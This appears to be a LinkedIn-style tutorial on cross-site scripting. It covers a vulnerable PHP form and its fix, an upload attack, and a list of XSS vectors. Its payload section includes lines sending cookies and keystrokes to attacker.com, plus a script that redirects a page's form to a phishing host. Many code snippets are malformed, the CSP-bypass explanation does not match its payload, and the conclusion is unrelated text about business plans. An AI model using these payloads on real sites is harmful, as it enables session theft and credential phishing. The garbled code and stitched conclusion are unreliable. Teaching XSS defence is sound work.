Cross-Site Scripting (XSS)
Kushagra Pathak
Associate Consultant- Cyber Security@EY || Ex IT Intern @Reliance Industries Limited || Ex VAPT intern @EY || Ex Automation tester @TalenQ || CSE with (Speclization in Information Security) Grad @VIT Vellore'24
What is XSS?
Cross-site Scripting (XSS) is an attack in which an attacker injects malicious code into a legitimate web page or web application with the goal of executing it in the victim's web browser (client side). The attack occurs when the victim visits the compromised web page or application, which then delivers the malicious script to their browser. Commonly exploited vehicles for XSS attacks include forums, message boards, and web pages that permit user comments.
When a web page or application uses unfiltered user input in its generated output, it becomes susceptible to XSS. This user input must be interpreted by the victim's browser, making it possible for attackers to execute malicious scripts. While XSS attacks can occur in various programming languages such as VBScript, ActiveX, Flash, and even CSS, they are more prevalent in JavaScript. This is because JavaScript is an essential part of most browsing experiences.
Basic Example-
<html <head><title>My App</title></head> <body> <form method="post"> <label for="search">Search:</label> <input type="text" name="search" id="search"> <input type="submit" value="Submit"> </form> <?php if ($_SERVER["REQUEST_METHOD"] == "POST") { $search = $_POST["search"]; echo "<p>Search results for: " . $search . "</p>"; } ?> </body> </html>>
The above example demonstrates a search form in a web application that lets users input search terms. However, the application doesn't properly validate or sanitize the user input before displaying it on the page. As a result, the application is exposed to XSS attacks, where an attacker could inject malicious code into the search field. When the search results are displayed, the malicious script will execute in the victim's browser.
Now the question is can we prevent it?
Yes, we can prevent these types of attacks just by keeping some security features in mind and think how an attacker can exploit our source code.
To prevent the XSS attack in this particular example, developers can use output encoding to sanitize user input and prevent it from being interpreted as executable code. One way to do this is by using the PHP function htmlspecialchars() to encode special characters before displaying them on the page:
<?ph if ($_SERVER["REQUEST_METHOD"] == "POST") { $search = htmlspecialchars($_POST["search"]); echo "<p>Search results for: " . $search . "</p>"; } ?>
This function converts special characters such as < and > to their HTML entity equivalents, preventing them from being interpreted as code by the browser. By encoding the user input before displaying it on the page, this approach prevents XSS attacks that attempt to inject malicious code into the search field.
How XSS Works
Two stages to an XSS attack:
- The first stage of an XSS attack involves an attacker finding a way to inject malicious code into a web page that a victim will visit.
- The second stage of an XSS attack involves the victim visiting the web page with the injected malicious code, either by clicking a link or by directly visiting the site and unknowingly executing the malicious code in their browser.
The following is a snippet of server-side code to handle profile picture uploads :
<?ph if (isset($_FILES['profile_picture'])) { $target_dir = "uploads/"; $target_file = $target_dir . basename($_FILES['profile_picture']['name']); $imageFileType = strtolower(pathinfo($target_file, PATHINFO_EXTENSION)); $allowedTypes = ['jpg', 'jpeg', 'png', 'gif']; // Check if image file is a actual image or fake image $check = getimagesize($_FILES['profile_picture']['tmp_name']); if ($check !== false) { // Check file type if (in_array($imageFileType, $allowedTypes)) { // Upload file move_uploaded_file($_FILES['profile_picture']['tmp_name'], $target_file); echo "Profile picture uploaded successfully!"; } else { echo "Sorry, only JPG, JPEG, PNG & GIF files are allowed."; } } else { echo "File is not an image."; } } ?>p
Stage 1: Injecting Malicious Code
The code allows users to upload an image file to the server. However, the code does not properly validate or sanitize the user's input to ensure that the uploaded file is actually an image file of an allowed type (JPEG, PNG, etc.). This can allow an attacker to upload a file with a malicious payload disguised as an image. For example, an attacker could upload an image file that actually contains JavaScript code.
For example, an attacker could upload a file with the following filename:
<script>alert("XSS attack!");</script>.jpg
Stage 2: Executing Malicious Code
Once the attacker has uploaded the malicious file, they can then craft a URL that includes the file name as a parameter, and send it to a victim via email or another means. If the victim clicks on the link, their browser will send a request to the server for the file, and the server will respond by sending the file back to the victim's browser. Because the attacker uploaded a file with malicious code, the victim's browser will execute the code when it receives the file, potentially leading to a successful XSS attack.
Some Basic XSS Attack Vectors
- <script> tag: the script tag can reference external JavaScript code or embed code within the script tag itself.
<script>alert("XSS");</script>
- JavaScript events: JavaScript event attributes such as onload and onerror can be used in many different tags.
<img src="image.jpg" onload ?="alert('XSS');">
- <body> tag: an XSS payload can be delivered inside the <body> tag by using event attributes or other obscure attributes.
<body onload ?="alert('XSS');">
- <img> tag: some browsers execute JavaScript found in the <img> attributes.
<img src ?="javascript:alert('XSS');">
- <iframe> tag: the <iframe> tag lets you embed another HTML page in the current page.
<iframe src="https://www.dhirubhai.net/redir/general-malware-page?url=http%3A%2F%2Fevil%2ecom%2Fxss%2ehtml"></iframe>
- <input> tag: in some browsers, if the type attribute of the <input> tag is set to image, it can be manipulated to embed a script.
<input type="image" src ?="javascript:alert('XSS');">
Examples of XSS Payloads
- Stealing Cookies:
<script document.location='https://attacker.com/steal.php?c='+document.cookie; </script>
This payload redirects the user to a malicious site that steals their cookies.
- Keylogger:
<script document.onkeypress=function(event){fetch("https://attacker.com/log.php?c="+event.charCode);} </script>
This payload logs each key pressed by the user and sends it to a server controlled by the attacker.
- Bypassing Content Security Policy (CSP):
<script nonce='abcdef12345' eval(atob('dmFyIHJlcz1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCJzLmMudHMiKTtyZXMuc3Vic3RyKDAsZnVuY3Rpb24oKXtyZXMubG9nKCJyZXNvbHZlIik7fSk7')); </script>>
This payload uses a nonce to bypass the Content Security Policy (CSP) by running a base64-encoded payload that creates a function that logs "success" to the console when executed.
- Phishing:
<script document.forms[0].action='https://attacker.com/login.php'; document.forms[0].submit(); </script>
This payload changes the action of the first form on the page to a phishing site controlled by the attacker.
Conclusion
It is important to have a clear understanding of the key aspects of a successful business plan. This includes identifying the target audience, defining the product or service being offered, conducting thorough market research, creating a marketing and sales strategy, outlining the operational and financial aspects of the business, and setting clear goals and objectives.
A well-crafted business plan serves as a roadmap for the organization and provides a clear path towards achieving success. It helps to identify potential challenges and opportunities, enables better decision-making, and serves as a reference point for measuring progress and making necessary adjustments.
While the process of creating a business plan can be time-consuming and challenging, it is a critical step in the success of any business. With careful planning and attention to detail, a well-crafted business plan can help an organization overcome obstacles, remain competitive, and achieve its goals.
Student at IIIT Surat, video game enthusiast
2 年Web developer spotted Nice post big brother????
Sophomore at Vit Vellore
2 年Thanks for posting
Quant Analytics Analyst@JPMorganChase | B.Tech, IT| AWS Certified Solutions Architect and Associate | Technical Content Writer | Tech Enthusiast
2 年Nice article....Keep the good work up ????